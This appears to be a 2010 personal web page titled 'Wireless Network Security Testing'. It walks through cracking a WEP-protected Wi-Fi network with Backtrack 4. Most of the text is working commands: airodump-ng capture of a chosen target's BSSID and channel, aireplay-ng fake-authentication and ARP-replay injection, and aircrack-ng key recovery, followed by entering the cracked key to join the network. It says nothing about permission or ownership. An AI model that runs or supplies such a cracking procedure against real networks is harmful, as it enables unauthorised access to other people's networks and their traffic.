C/Assembly(TMS320 DSP,68000,80x86,8051,MPC832, 68HC12) Programming and Circuit Design

Wireless Network Security Testing (last update 3/20/2010 on a HP Presario F700, Windows Vista):

• Dwonload a Linux based software, Backtrack 4 (bt4-final.iso) from http://www.backtrack-linux.org/downloads/
• unzip the download and create a .iso file
• Download Active iso DVD burner software from http://www.disk-image.net/?ISOBR, or our download links, and install it
• Insert a USB Flash Drive into the laptop, note: Backtrack 4 supports a handful of laptops, but not all, you may want to check HCL for compatible models, mine is not on the list, though.
• Boot BT4 from the DVD, and select run in the RAM, (not your harddisk, which has Windows partition only)
• at Linux prompt enter airmon-ng
• enter airodump-ng wlan0,  where wlan0 is wireless card's interface name
when the screen display a list of available connections, write down your target host's BSSID, CHANNEL, and ESSID
• To continue capture the packets and crack WEP key, we need to write to the USB Flash disk, the existing files would not be erased, just make sure there are a few hundred megabytes space free
• Use GUI mode by : at Linux promt #, enter startx
• Open a Linux terminal session, by clicking one of the icon at the bottom of the screen, enter the following Linux commands to mount usb
• #cd /mnt/
• #su
• #mkdir usbflash
• # ls /mnt/
• mount /dev/sda1 /mnt/usbflash
#ls usbflash
• If you can see the contents of the USB is ready
• Enter next Linux command to capture the packets into a file wep-01.cap into usb flash disk, where CHANNEL, and BSSID are the traget host's
• #airodump-ng -w wep -c CHANNEL --bssid BSSID wlan0
• for example: airodump-ng -w wep -c 1 --bssid 00:3E:45:23:4E wlan0
• Open another terminal (or Konsol), and enter the attack command
• #aireplay-ng -1 0 -a BSSID wlan0
• You may have to run this command frequently during the packet capturing process, but, instead of retyping the line, just hitting the UP arrow key to recall the command line
• Open another terminal (Konsol), and enter the packet capture command
• #aireplay-ng -3 -b BSSID wlan0
• The screen will show how many packets are captures, etc..  wait until it reach 200,000 packets, then CTRL-C to stop it
• Enter the crack command, where /mnt/usbflash is the directory, we just created on usb drive, and wep-01.cap is BT4 created packet files, it may be renamed by BT4 to wep-02.cap, or wep-03.cap...
• #aircrack-ng /mnt/usbflash/wep-01.cap
• If it show the key, then you just enter the hex #'s into the the key prompts, example: if key is BA:69:F4:FD:98, then enter key as BA69F4FD98, don't need to convert to ASCII
• If failed, then press UP arrow key to repeat aireplay-ng -3 -b BSSID wlan0 command to capture more packets, and in the mean time, continue to issue the attack command to trigger host's responses.

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• Cost effective, simple to use. Earlier version is available for (free download).
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